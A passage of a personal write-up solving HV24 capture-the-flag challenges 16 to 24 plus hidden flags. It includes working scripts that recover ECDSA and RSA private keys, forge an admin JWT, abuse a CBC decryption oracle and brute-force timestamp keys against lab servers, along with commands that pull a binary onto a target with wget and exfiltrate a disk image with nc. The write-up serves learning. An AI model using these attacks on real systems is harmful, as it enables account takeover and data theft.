Candidate k: 0x5e41cd536ec7a694e8b75c7ec1dfe6700e0fd3d74d8af464 ->
b'^A\xcdSn\xc7\xa6\x94\xe8\xb7\\~\xc1\xdf\xe6p\x0e\x0f\xd3\xd7'
Candidate k: 0x9280f09d560f0fd86fc7698c5e0543cb10c310fac3248cea ->
b'\x92\x80\xf0\x9dV\x0f\x0f\xd8o\xc7i\x8c^\x05C\xcb\x10\xc3\x10\xfa'
Candidate k: 0xce0269ea828eff23719777abe0a67e55d863f0a3a52bceb7 ->
b'\xce\x02i\xea\x82\x8e\xff#q\x97w\xab\xe0\xa6~U\xd8c\xf0\xa3'
Key: 82e342decb88e9d45fddd7d8ff968bfe011c702b64ae8e24
Candidate k: 0x399715e9bddd3c94a06411651d2502bc27f74ee7bd7469e5 ->
b"9\x97\x15\xe9\xbd\xdd<\x94\xa0d\x11e\x1d%\x02\xbc'\xf7N\xe7"
Candidate k: 0x8a09a1c277a8dbef12b3db3dc48a1a7e60a25e2aeb01f7b8 ->
b'\x8a\t\xa1\xc2w\xa8\xdb\xef\x12\xb3\xdb=\xc4\x8a\x1a~`\xa2^*'
Candidate k: 0xbca4837be1254cfb43f5ee9eaa0296365b5f255e690d3a26 ->
b'\xbc\xa4\x83{\xe1%L\xfbC\xf5\xee\x9e\xaa\x02\x966[_%^'
Candidate k: 0x399715e9bddd3c956b44bb79efd74d6fe3ecf01adc3c64a7 ->
b'9\x97\x15\xe9\xbd\xdd<\x95kD\xbby\xef\xd7Mo\xe3\xec\xf0\x1a'
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$

We can also try to adapt the original script from the blog to solve it like so:

from ecdsa import NIST192p


import olll

def modular_inv(a,b):
return pow(a, -1, b)

curve = NIST192p
order = curve.order

msg_hash = 5451444470609933768673875739190099258978652043860043513059
sigs_r = [382825619053484650723101111089716481637169498894438388011,
2846338329314931410625679965921020604974471932472870479272,
4539748290341241446856454569550628724992441965649378727404,
941682904620798018129415714406121176743478727872983123639]
sigs_s = [1053747182506109288607080233885972025033725041930583121945,
271361922488295908863717359631373504169617539839833749415,
1147747170412930491481269098330085803226817442551773675299,
3831443458083168767818771718543562148023158622090413416724]

msgs = [msg_hash for i in range(4)]


sigs = [(sigs_r[i],sigs_s[i]) for i in range(4)]

matrix = [[order, 0, 0, 0, 0,0,],


[0, order, 0, 0, 0 ,0 ],
[0, 0, order, 0, 0,0],
[0, 0, 0, order, 0,0]]

row, row2 = [], []


[msgn, rn, sn] = [msgs[-1], sigs[-1][0], sigs[-1][1]]
rnsn_inv = rn * modular_inv(sn, order)
mnsn_inv = msgn * modular_inv(sn, order)

for i in range(4):
row.append(((sigs[i][0] * modular_inv(sigs[i][1], order)) - rnsn_inv) )
row2.append(((msgs[i] * modular_inv(sigs[i][1], order)) - mnsn_inv) )
row.append((2**32) / order)
row.append(0)
row2.append(0)
row2.append(2**32)

matrix.append(row)
matrix.append(row2)

new_matrix = olll.reduction(matrix, 0.75)

for row in new_matrix:


potential_nonce_diff = row[0]
potential_priv_key = (sn * msgs[0]) - (sigs[0][1] * msgn) - (sigs[0][1] * sn *
potential_nonce_diff)
potential_priv_key *= modular_inv((rn * sigs[0][1]) - (sigs[0][0] * sn), order)
potential_priv_key %= order
nonce = (modular_inv(sigs[0][1], order) * (msgs[0] + sigs[0][0] *
potential_priv_key)) % order
print(f"Privkey: {potential_priv_key:x} -> k: {nonce:x} ->
{bytes.fromhex(hex(nonce)[2:-8])}")

Flag: HV24{just_us3_EdDSA}
[HV24.17] Santa's Not So Secure Encryption Platform
Introduction

One day, Santa wanted some platform to encrypt things, so he asked one of his elves. Unfortu-
nately for Santa the elf he asked was a "Bricoleur" or "Bastler".
The closest one can describe the application is probably something along the lines of "Security
through obscurity, minus the security".
Solution:

We are given a handout and a docker container.

Note to self: Great, I noticed on the 27th that I did not document this one in time and now need
to remember how it was done...

The idea of this challenge was, that the crypto was flawed. You are able to derive the private key
because N was initialized in a wrong way.

We can derive the current value of N via the exposed API:


curl -X 'GET' 'http://3f3a0b73-a08e-4c76-9310-
48ec7235ff65.r.vuln.land:8000/api/crypto/rsa' -H 'accept: application/json'

Using sage or an online calculator like https://www.alpertron.com.ar/ECM.HTM we can factor


the big number into it’s individual components (25 small values).

Once we have N we can utilize the existing API functions in a client side program to create our
own JWT. After registering an account and logging in we see our existing token has “sub”: 2
which is apparently our user ID. We can just substitute this value with “1” and sign the token
with our derived private key.

Now that we have admin privileges, we can now read the flag from the /api/crypto/flag API and
try to decrypt with /api/crypto/decrypt – but – meh! – the decryption fails because the server
side code checks for HV in the decoded text and errors out. So we need to decrypt but not have
the plaintext at the same time. How to do this?

The author uses a custom implementation of CBC:


def decrypt(self, ciphertext: bytes, signature: bytes) -> bytes:
"""Decrypt ciphertext, signature required!"""
assert len(ciphertext) % 16 == 0

ndec = _chunk(ciphertext)
dec = []

if not self.rsa.verify(self.iv + ciphertext, signature):


raise ValueError("Invalid signature!")

dec.append(xor(self._ecb.decrypt(ndec[0]), self.iv))

for i, block in enumerate(ndec[1:]):


dec.append(xor(self._ecb.decrypt(block), ndec[i]))

return b"".join(dec)
Long story short: As we have control over the IV we have control over the resulting output. We need to
have a printable output but not the original text. The easiest approach is to flip one bit (the LSB) in the
IV for the next block. By this the plaintext gets kind of shifted, but still stays plain.

The IV for the next block is then the current cipherblock also with xor 0x01 on every byte.

Using this approach and feeding one block at a time we’re able to fully decode the flag:

"""
Put this file into ch17/api at the same level like the main.py file
"""

import os

from santas_encryption import auth, utils

import requests
from sage.all import *

"""
# Here are the factors for the RSA key
# To get them, da a
# 'curl -X 'GET' \
'http://3f3a0b73-a08e-4c76-9310-48ec7235ff65.r.vuln.land:8000/api/crypto/rsa' \
-H 'accept: application/json'
# take the N value, put it into https://www.alpertron.com.ar/ECM.HTM, factor and
paste the individual values below
# Alternatively, go to sagecell.sagemath.org, enter "ecm.factor(<number>)" and
paste.
"""

factors =
[2359229066603,2454302688569,2642401026043,2699915493791,2714931667031,274903823369
9,

2915966559241,3009210159323,3017924168867,3047170749607,3053047091363,3090505878017
,3127930073029,3179510691869,3266526506381,3332442233213,3343426221053,336200060224
1,3515232220751,3594837797077,3712086275461,4044413489827,4179420446449,42298187527
51,4388594077229
]

#factors =
[2249998828817,2281639064167,2454183650189,2591870541677,2694581577197,280269962348
3,2822903414641,2912169754649,3043298731027,3109573141889,3159698681449,31628828423
11,3211402881277,3238741556513,3267941993737,3358334094827,3520474476179,3732418117
697,3809078196031,3911375735791,3940521699979,3980540978537,4051751570117,414497107
8257,4193266484959]

rsa = auth.RSA(factors)
url = "http://152.96.15.6:8000"
s = requests.Session()
url_register = url + "/api/auth/register"
url_login = url + "/api/auth/login"
url_status = url + "/api/auth/status"
url_users = url + "/api/users/"
url_get_flag = url + "/api/crypto/flag"
url_decrypt = url + "/api/crypto/decrypt"
# Define the JSON payload
json_payload_register = {
"username": "santa",
"password": "123456789",
"email": "santa@home.com"
}

json_payload_login = {
"username": "santa",
"password": "123456789",
}

# Define the cookies


cookies = {
"session_id": "your_cookie_value"
}

# Headers (optional but recommended for JSON requests)


headers = {
"Content-Type": "application/json",
}

# Make the POST request


try:
response = s.post(url_register, json=json_payload_register, cookies=cookies,
headers=headers)

response = s.post(url_login, json=json_payload_login, cookies=cookies,


headers=headers)

# Print the response


#print("Status Code:", response.status_code)
user_token = response.cookies.get('seauthtoken')
print("Response cookie:", user_token)
sjwt = auth.SJWT(rsa)

# Make us admin
parts = sjwt.decode(user_token)
parts['sub']=1
new_token = sjwt.encode(parts)

cookies = {"seauthtoken": new_token}


# Check login
response = s.get(url_status, cookies=cookies , headers=headers)
#print("Status Code:", response.status_code)
print("Response:", response.text)

# Check access
response = s.get(url_get_flag, cookies=cookies, headers=headers)
#print("Status Code:", response.status_code)
#print("Response:", response.json())
flag = response.json()

# Decrypt
iv = flag['iv']
newiv = utils.decode(iv)
newiv = bytes([a^0x01 for a in newiv])

ciphertext = flag['ciphertext']

b64_ciphertext = utils.decode(ciphertext)

for r in range(0,80,16):
# Only take PART of the ciphertext
new_ciphertext = b64_ciphertext[r:r+16]

signature = rsa.sign(newiv + new_ciphertext)


new_flag = {'ciphertext': utils.encode(new_ciphertext), 'iv':
utils.encode(newiv), 'signature': utils.encode(signature)}

""" # Double check


a = utils.decode(new_flag['iv'])
b = utils.decode(new_flag['ciphertext'])
c = utils.decode(new_flag['signature'])
t = rsa.verify(a + b, c) """

response = s.post(url_decrypt, json=new_flag, cookies=cookies,


headers=headers)
#print("Status Code:", response.status_code)
#print("Response:", response.json())
flag = response.json()
ptx = ''.join([chr(ord(a) ^ 0x01) for a in flag['plaintext']])
print(ptx,end='')
newiv = bytes([a^0x01 for a in b64_ciphertext[r:r+16]])
#newiv = bytes(ptx,'ascii')
print("")

except requests.RequestException as e:
print("An error occurred:", e)
[HV24.18] Santa’s Sego

Santa has written his own super secret stego algorithm back in the old days, after learning
about base 2. It could even do RGB stu to make the images not look o . Sadly he forgot how it
worked, can you help him out?

Looking at the individual planes in Aperisolve we can see that one plane in each color channel
looks odd: R0, G1 and B2 are much “darker” than the others. We extract/save those individual
planes and load them in Gimp as individual layers. Then we set the layer overlay method to
“Di erence” for each of the layers, and a QR code appears.

Now we need to enlarge the canvas a bit, negate the image colors and there we have the QR
code
(.venv) ➜ ch18 zbarimg result.png

QR-Code:HV24{v3ry_fun_l0l_s0rry_f0r_th3_p41n_n3v3r_g0nna_g1v3_y0u_up}

scanned 1 barcode symbols from 1 images in 0.01 seconds

Flag: HV24{v3ry_fun_l0l_s0rry_f0r_th3_p41n_n3v3r_g0nna_g1v3_y0u_up}
[HV24.19] Santa's Workshop: A Technical Emergency
Introduction

Santa's magical workshop is more modern than ever this year! In addition to the classic toys and
presents, Santa has launched a major project: Old computers are to be repaired, cleaned and re-
cycled for children all over the world. His aim is not only to spread the magic of Christmas, but
also to protect the environment.
But just before the big celebration, there is a problem: One of the elves discovers that some of
the computers have not been properly prepared. Confidential data from previous owners may
have been left on them, and some devices are displaying strange error messages that could indi-
cate hardware problems.
As the elves in the workshop have their hands full, Santa turns to you, his specialist in digital
magic. You are given access to a magical virtual machine that simulates one of the affected
computers. Your job is to make sure that the computer gets under the Christmas tree safely and
on time.

After you start the PC, you can connect to it via SSH with the credentials root:santa on port 2222.
Start the service and get the flag.

The history file in /home/Santa shows a relation to ddrescue, so it seems we need to dump a
disk image. But that’s kind of hard for a running system and also we don’t have much space.

We can download the sources for ddrescue and can build a static version (make
static_ddrescue in the source directory). Then we connect to the VM via the VPN, spawn a
python3 -m http.server 80, and download the binary via wget from our VPN client

wget http://<vpnip>/static_ddrescue

When we try to run it with static_ddrescue /dev/sda /tmp/image.img we crash the VM cause the
file is much too big. Before this, we see there are a lot of reading errors (interesting, how is this
possible in a VM?). So we need to check the command line options to get more focused. Turns
out the -i options allows us to skip the start of the image. Also -d allows us to read every sector
one-by-one.
So let’s retry:

$ static_ddrescue -i 100000000 -d /dev/sda /tmp/disk.img /tmp/mapfile.txt

Now it works fine and we can exfil the image and mapfile to our VPN client machine via
nc or ncat (we load ncat via our self-hosted python webserver to the VM again).

Back on our client we inspect the mapfile and see the read errors in the protocol. Using
the tool ddrescueviewer we can have a visual look at it.

Though the tool is very simple, it’s quite dated and buggy, cause it took me almost
15min to zoom properly and get a clear display of the bad blocks…

Without much surprise playing with the zoom level, window width and block size
eventually we end up with this:

Flag: HV2024{b4d_s3ct0rs}  According to Discord HV24{b4d_s3ct0rs}


[HV24.20] Santa's Modular Calculator
Introduction

As every year, Santa is wrapping gifts for the nice children. At some point, he was wrapping this
calculator but it started to display dome weird numbers. Maybe they have a special meaning?

Solution:

We’re giving this source file:


import random

s = random.randint(2<<1337, 2<<1338) * 2
flag = int.from_bytes(b"HV24{NOT_THE_REAL_FLAG}", "big")

print("""

â â â â â â â â â â â â â â â â â â â â â â â â â â â â
â â â â â â â â â â â£⣠⣤⣤⣶⣶⣶⣶⣶⣶⣦⣤â£â¡â â â â
â â â â â â â â â 
....
â â â â â â â â â â â â â â£⡻⠿⣿⠿⠿⠿â â â â â â â£â
â â¢â â â â â â â â â â â â â â â â â â â â â â â â â â
â â â â â â â â â 
""")

print("""Welcome to Santa's modular calculator. Enter a number n and I'll print


back n^s mod flag!""")
while True:
try:
n = int(input("Enter your n: "))
res = pow(n, s, flag)
print(f"Your result: {res}")
except:
print("Please submit an integer (base 10)")
pass

This problem targets the fact to find the modulus N with an unknown e. Formulating this
problem with Google quickly leads us here:

https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Retrieve-
Modulus/README.md

and we can easily adapt the script to our needs to automatically find the flag:

# https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-
Retrieve-Modulus/extractmod.py
import random
from Crypto.Util.number import *
from pwn import *
import binascii

conn = remote('42378aa8-53a6-4130-ab75-a0d34a8b57ef.r.vuln.land', 1337)


res = conn.recvuntil(b"Enter your" )

def encrypt(n):
conn.sendline(str(n).encode('ascii'))
response = conn.recvline().decode('utf-8').strip()
res = response.split(" ")
return int(res[-1].strip())

limit=4
m_list = [2, 3, 5, 7]
ct_list = [(encrypt((m_list[i]**2))) for i in range(limit)]
ct_list2 = [(encrypt((m_list[i]))) for i in range(limit)]
assert len(ct_list) == len(ct_list2)
mod_list = [(ct_list2[i]**2 - ct_list[i]) for i in range(limit)]
_gcd = mod_list[0]
for i in mod_list:
_gcd = GCD(_gcd, i)
print(f"{binascii.unhexlify(hex(_gcd)[2:]).decode('ascii')}")

Flag: HV24{3ucl1d_c0uld've-s0lv3d_th4t_2300_y34rs_4g0}
[HV24.21] Silent Post
Introduction

The elves have launched a new service to transmit the most valuable secrets, like the naughty
lists, over a secure line. Using Silent Post, secrets get encrypted, and the decryption key is right
in the link. How clever! Sadly, one elves has lost the link to one of the lists. Can you help him
recover the list?

Solution:

This challenge uses a JSF*ck obfuscated Javascript file to encrypt our payload with a key
derived from the current timestamp and sends the encrypted payload to the server. Using a
“secret” key, we can then retrieve it again (the secret key is actually the very timestamp value).
The goal is to find the flag in all the uploaded messages.

Unf*cking the JSF*ck script with the deobfuscator of your choice yields the following code file:
function encrypt(text) {
const key = generateKey();
let encrypted = '';
for (let i = 0; i < text.length; i++) {
encrypted += String.fromCharCode(text.charCodeAt(i) ^ key.charCodeAt(i %
key.length));
}
return [btoa(encrypted), btoa(key)];
}
function decrypt(encrypted, key) {
encrypted = atob(encrypted);
key = atob(key);
let decrypted = '';
for (let i = 0; i < encrypted.length; i++) {
decrypted += String.fromCharCode(encrypted.charCodeAt(i) ^ key.charCodeAt(i
% key.length));
}
return decrypted;
}
function generateKey() {
const timestamp = Math.floor(Date.now() / 1000);
const shaObj = new jsSHA("SHA-1","TEXT",{
encoding: "UTF8"
});
shaObj.update(timestamp.toString());
const hash = shaObj.getHash("HEX");
return hash;
}

What we need to do is to a) request all stored messages by going downwards from our initial
message index (130 something), store the encrypted messages locally and then try to decrypt
those messages with keys from the timestamp going backwards.
import hashlib
import time
import base64
import requests
import string

def decrypt(encrypted, key):


"""
Decrypt the given Base64-encoded encrypted text using the provided Base64-
encoded key.
"""
encrypted = base64.b64decode(encrypted).decode()
key = base64.b64decode(key).decode()
decrypted = ''.join(
chr(ord(encrypted[i]) ^ ord(key[i % len(key)])) for i in
range(len(encrypted))
)
return decrypted

def is_printable(text):
"""
Check if all characters in the string are printable.
"""
return all(c in string.printable for c in text)

def retrieve_all_urls(base_url, start_id):


"""
Retrieve results for all URLs with IDs in the range (start_id-0, start_id-1,
..., start_id-n).
Store the results in a dictionary.
"""
results = {}
id_suffix = 0
id_ = start_id
while True and id_>0:
url = f"{base_url}/api/fetch/{id_}"
try:
print("Requesting")
response = requests.get(url)
response.raise_for_status() # Raise error for non-200 responses

data = response.json() # Assuming the response is JSON


results[id_suffix] = data['value']
print(data)
id_ -= 1 # Move to the next ID

except requests.RequestException as e:
# Stop when requests fail (e.g., 404 or no more IDs)
print(f"Error retrieving at ID {id_}: {e}")
id_ -= 1

return results

def brute_force_timestamp(base_url, results):


"""
Perform a timestamp brute force for each ID, starting with the latest, and
decode the results.
"""
current_timestamp = int(time.time())
ids = sorted(results.keys(), reverse=True) # Start with the highest ID

for current_id in ids:


print(f"Processing ID: {current_id}")

while True:
# Generate the SHA-1 hash, hex encode it, and convert it to Base64
# print(current_timestamp)
sha1_hash = hashlib.sha1(str(current_timestamp).encode()).hexdigest()
base64_hash = base64.b64encode(sha1_hash.encode()).decode()
# Construct the full URL for the current timestamp hash

try:
# Retrieve the stored data for the current ID
data = results[current_id]
key = base64_hash
encrypted = data
if encrypted and key:
# Decrypt the data
decrypted = decrypt(encrypted, key)

# Check if the decrypted result is fully printable


if is_printable(decrypted):
if decrypted.startswith("HV24{"):
print(f"Decrypted result for ID {current_id}:
'{decrypted}'")
break

except Exception as e:
print(f"Error during processing for ID {current_id}: {e}")

# Decrement the timestamp for the next attempt


current_timestamp -= 1

def main():
base_url = "https://70acb07a-ebe8-4e32-8c91-8af4da591a4a.i.vuln.land"

results = {}
# Retrieve all results for the IDs in the range
# results = retrieve_all_urls(base_url, 140)
# Perform brute force and decoding
results[1] = 'LjVRV05FCAkGRFtaABU+FVAOUWtQED4JBEhJ'
brute_force_timestamp(base_url, results)

if __name__ == "__main__":
main()

Flag: HV24{s0metim3s_t1me_is_k3y}
[HV24.22] Santa's Secret Git Feature
Introduction

Santa found a new awesome git feature to hide presents. However, he thinks it does not fit the
Christmas theme, but maybe his good friend, the easter bunny, can use it... Can you find his
hidden present?

https://github.com/santawoods/christmas-secret-feature

Solution:

For this challenge you really need the proper idea. If you look locally in the repo, there is
absolutely nothing there.

But as soon you do a “git ls-remote” in the repo we see:

PS D:\christmas-secret-feature> git ls-remote


From https://github.com/santawoods/christmas-secret-feature
5c1dff6bd6b05a44e41d786a99fa1f95219e2d62 HEAD
5c1dff6bd6b05a44e41d786a99fa1f95219e2d62 refs/heads/main
9a2ab37322768d152595e4d49cdd91d1858d649a refs/notes/commits

Whereas the top two lines refer to the commit we see from “git log”

PS D:\christmas-secret-feature> git log


commit 5c1dff6bd6b05a44e41d786a99fa1f95219e2d62 (HEAD -> main, origin/main,
origin/HEAD)
Author: Santa <santa@christmas.town>
Date: Sat Nov 16 20:04:52 2024 +0100

Initial Commit

The 3rd one seems to be somewhat disconnected

We can try to get this one in the github webpage


https://github.com/santawoods/christmas-secret-
feature/commit/9a2ab37322768d152595e4d49cdd91d1858d649a
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-
9%2B/%3D',true,false)&input=U0dWeVpTQnBjeUIwYUdVZ1pteGhaem9nU0ZZeU5IdHpNMk55TTNSZmJ
qQjBNMTltYkRSblgyWjFibjA9

Flag: HV24{s3cr3t_n0t3_fl4g_fun}
[HV24.23] Santa's Packet Analyser
Santa was invited to an Open Source conference in fall to talk about his newest development on
“elfilter – a packet inspector to balance elf load”. Due to the sensitive nature of the talk, it was
only open to a very select audience. Nonetheless, he came back with a nice scarf. The elfs
suspect there might be a message behind the pattern.

In CTFs, often old and esoteric languages or signs are used, And this is no di erence: It’s called
Ogham:

https://www.omniglot.com/writing/ogham.htm#:~:text=Ogham%20is%20an%20alphabet%20t
hat,Old%20Welsh%2C%20Pictish%20and%20Latin

Using this alphabet we can quickly decode the message, and need to see that “cq” is actually
“ck”.

HV24{santafilterspacqets}  HV24{santafilterspackets}

Flag: HV24{santafilterspackets}
[HV24.24] Stranger Sounds
Introduction

Santa received a file with some very strange audio. He's kind of scared, it sounds like some
monster who's about to hunt him down. Help him get to the bottom of it.

Analyze the audio and get the flag.

Flag format: HV24{}

This time it’s an audio file, and the first thing you do with an audio file in a CTF challenge is to
throw it into Sonic Visualizer, but this time we don’t see no hidden message in the spectrum.

The next thing is to actually load it into Audacity and listen to it. It’s a very very deep voice, that
can be heard and the file has a runtime of 35min. So first we speed this up x10.

E ect  Pitch and tempo  Change speed and pitch: 10.0

Oh, this sounds much better, but still wrong. Let’s reverse it and get a surprise:

E ectSpecialReverse

And we have our Rick Astley tune!

But around the last 1/3 of the song another voice overlaps with the audio and spells the flag
letter by letter.

Unfortunately, it was quite hard to separate the spelling from the song and it took we like 30min
until I finally got it (next 30min were due to the fact I didn’t realize the prefix was HV24 and not
HE2024 as the speaker spelled the flag...) I always understood something like
“GPT_R1CKR0LL3D”. Actually, I never clearly heard the “3” in the speeling. I used a noise
canceller plus some band filter to separate the background music as good as possible from the
spelling but it was still hard to understand.

One of the best transcriptions was actually Slack when you upload the WAV file to a chat.

Flag: HV24{G3T_R1CKR0LL3D}
[HV24.HE] Grinch’s secret
I had a weird dream tonight. It said that in one of the easy challenges, there might be another
flag hidden? That can't be true, right??

Solution:

The secret flag is actually stored in the challenge picture of day 23.

We upload it in aperisolve and have a VERY CLOSE look at the di erent bitplanes. In Blue 0 we
spot something:

Flag: HV24{0h_w0w_y0u_4lm0st_m1ss3d_th1s_h1dd3n_fl4g}
[HV24.HM] Mrs Claus’s Secret
Mrs. Claus said that she hid another flag in one of the medium. Do not tell Santa Claus!!

Solution: As it turned out, what I considered a hint for getting the challenge of the day flag in ch5
was actually a password for steghide for our image.

Using the PW t1s1s4t0t4llys3cur3p4ssw0rdn0rocky0utxt we found in the memory of notepad


via the notepad.py volatility3 plugin with the tool steghide on the image of Bernie immediately
dropped the flag

daubsi@bigigloo  /tmp/ch5  steghide extract -sf secret/image.jpg -p


't1s1s4t0t4llys3cur3p4ssw0rdn0rocky0utxt'
wrote extracted data to "secret-flag.png".
daubsi@bigigloo  /tmp/ch5  zbarimg secret-flag.png
QR-Code:HV24{p4ssw0rd_h1dd3n_1n_z3_n0tep4d.exe}
scanned 1 barcode symbols from 1 images in 0.01 seconds

Flag: HV24{p4ssw0rd_h1dd3n_1n_z3_n0tep4d.exe}
[HV24.HH] Frosty's Secret

I cannot believe it! This snowman has really hid a flag in one of the hard challenges. Now I'm
gonna have to search it and remove it. Grumble, grumble...

Solution:

This hidden flag is also in Prancer’s Chrom profile dump from challenge 15.

When we enter the directory and do an optimistic grep for PNG we have of course a lot of hits…
daubsi@bigigloo  /tmp/ch15/Prancer/Chrome  grep -rail PNG | head
Default/Web Data
Default/Favicons
Default/Local Storage/leveldb/000010.ldb
Default/Local Storage/leveldb/000005.ldb
Default/Local Storage/leveldb/000013.log
Default/Sync Data/LevelDB/000003.log
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/256.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/128.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/32.png
Default/Web Applications/Manifest Resources/fmgjjmmmlfnkbppncabfkddbjimcfncm/Icons/48.png

Let’s go trough them one by one…

Default/Favicons is again a sqlite3 db and it has some interesting entries!


daubsi@bigigloo  /tmp/ch15/Prancer/Chrome/Default  sqlite3 Favicons
SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.
sqlite> .tables
favicon_bitmaps favicons icon_mapping meta
sqlite> select * from favicons;
1|https://www.google.com/favicon.ico|1
2|https://en.wikipedia.org/static/favicon/wikipedia.ico|1
3|https://hv24.idocker.hacking-lab.com/wp-content/uploads/2023/01/cropped-cropped-
hl-transparent-32x32.png|1
4|https://www.youtube.com/s/desktop/d5c4364e/img/logos/favicon_32x32.png|1
5|https://qsf.fs.quoracdn.net/-4-ans_frontend_assets.favicon-new.ico-26-
e7e93fe0a7fbc991.ico|1
6|https://www.virustotal.com/gui/images/favicon.svg|1
7|https://www.virustotal.com/static/img/favicon.ico|1
9|https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png|1
10|https://competition.hacking-lab.com/hv24-hh-favicon.png|1

Unfortunately entry number 10 is a 404 – but it seems where are on a hot track!

Let’s have a look at favicon_bitmaps


sqlite> .headers on

sqlite> select * from favicon_bitmaps limit 1,1;

id|icon_id|last_updated|image_data|width|height|last_requested

2|1|13378484490292923|PNG

Hm… we have raw PNGs in there…


|32|32|0

Let’s extract the stu using “hex”


sqlite> select hex(image_data) from favicon_bitmaps limit 1,1;

hex(image_data)

89504E470D0A1A0A0000000D4948445200000020000000200806000000737A7AF4000004F9494441545
885B5575B6C945510FE66FEA5DBEE76BB29D74241B1964BB9582E462E125369500435181FD06822C63E
A0186D8226A021010328121E1A8D5194100D5E488C311A1AA0A93752048A814A6824D00292969642696
977BBEDEE99F1A1DBEDFEBB7FDB2DE03CFD6766CE7CDF3967FE397308298AAA660178524496AA6A2111
E501F045CDB754F52211D5307325800344742BD5D843014F33C6EC35C674698A628C091A63F6A8EA943
B01F6186376196322A9023B10091B6376AA6AC670C1A71A63CEDE2EB00391BF5535DF098B1CC0E789C8
21661E9D6833571BD0FDEB61844F9D44E4723DA4BD0D500567F961DD9B87B4C27970172F87953B29094
8445A98F931223A3D2001559D2A225589E0A6A91181DD1FA1FBC82F80EAE0DB4704F7C345F0AE7D1356
CE0427128B89E842120155F58AC809669E113F2954518ECEB21DD050D7E0C0893C323CF0AD7F17EEA26
58924CE30F30222EA02008E33BC97081EFCEE4B74ECD83C6C7000D0AE207AAAFF4CD233F36C11D91223
8AE8AF26226799D9EA33842ACAD1B163B36370575E3ED21E5A0C6B7C2E4004D3D8809EEAA388D49D8FF
9A4AF7C06BED20D0025A5194424C2CC0544748100C018B39799D7F43998AB0DB859F23CB43B649B688D
CF4566E906A4CD5FE048ACE7E43174ECDA06F7922264AE5B3FE80E89C81ECBB24A4855FD22D2C4CCE97
DC640D91B08FE7CCC366144C12CF8B797817C3EA77831D16000E4F10EEA13251064E61C06B0321E5CBB
EAE12ED80DF7832D31671E390A595B770D090E202570F4E68207C00A1691A5B61534EF072C81675903B
CAB2E81D214DE57D681FDD929051E8E88C85297AA16DA08B4FE16FB4E2B68832B371369C5CBEF3A387A
93BFD015BDD5FA95815A9B93356521E0720D18A4787B2065C04DABDC289AD11F8B88F238EE4AED95708
B6D48198E25FCB6A4B12DA98AFAD9D9F5FF919E4872196700F6C661C418DB5083E771B7C4EB4E2A4AED
2E55BD0860549F863267425B9B631E4D6DB5182B118C60E73CA87CC7F9B7BBD82228F9DC5EC2C7F9ED0
454B59E89A8265E49D98FC6BE0F764FC4738D7928BFF47B2A0BB4C9893A93A49B3ADEB28DA32D1C57DA
94E356230C1776763E802D1DF31082854FCE7C831BA1B694C13B438AEF8F876DBA7B463372127680992
B19C0011189ED15654CC667DE8DF8213439E6D81A6A47E91FDBD1DED3312478D8005B7FEC466BC09E70
4F14DA8F50448200CA39DABD7E1B6F5C3D7B2D3CAE74DB847F6ED6E3C5436FE348E35F03829F6FBB8C5
70FEC47757D8F4D3FD24B786A6E520E7D4D449D7DD7F11411A965EECFB483978F60D3B13247A0C959B9
589433179332734044B8D67503A7AED5A2E6FA39281456281F9EE6D74191DEF2BDE5D9742C99D67FFE2
2128E5EC775B14331C6EC64E6B7E281F69DFB0965A7BF1A70C58309191F329A5FC3CBF30BB1E691349B
4D443EB02C6B23125A328F881C67E659F1CE87FFADC2B6EA4F118C0CAF2BB2C84249C10B2899FD74227
80D332F24A2101C9AD27C1139CACCB66AD414BC8E8F6BF6A1E24A1564A8A614C0FCB133513AE7254CCF
B65D331091E668535ADFA7736ACBE788C8E14412007035D0828A2B55A86E3E83BAF62BB8D9DD0E55C0E
FF6E15EDF04CC19331DC51317615AF67D49A4A2E08F27D61D4751D5FCE863E26E3D4C4EAB6ADE90C009
24328C311F1A63C27700DC638C795F55D353801C7437BE30C60486011C30C6EC56D5FB878A9FDC330F4
CC4076045C2F3DC1F35B7AB6A7DDCF3BC9C883A5389FB1F610E93ACD74339410000000049454E44AE42
6082

We can decode the hexblob using Cyberchef

Unfortunately this was not the right one…

But when we continue, in the end we prevail!


select hex(image_data) from favicon_bitmaps limit 16,1;

Flag: HV24{n0_0n3_3v3r_n071c35_7h3_f4v1c0n}

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy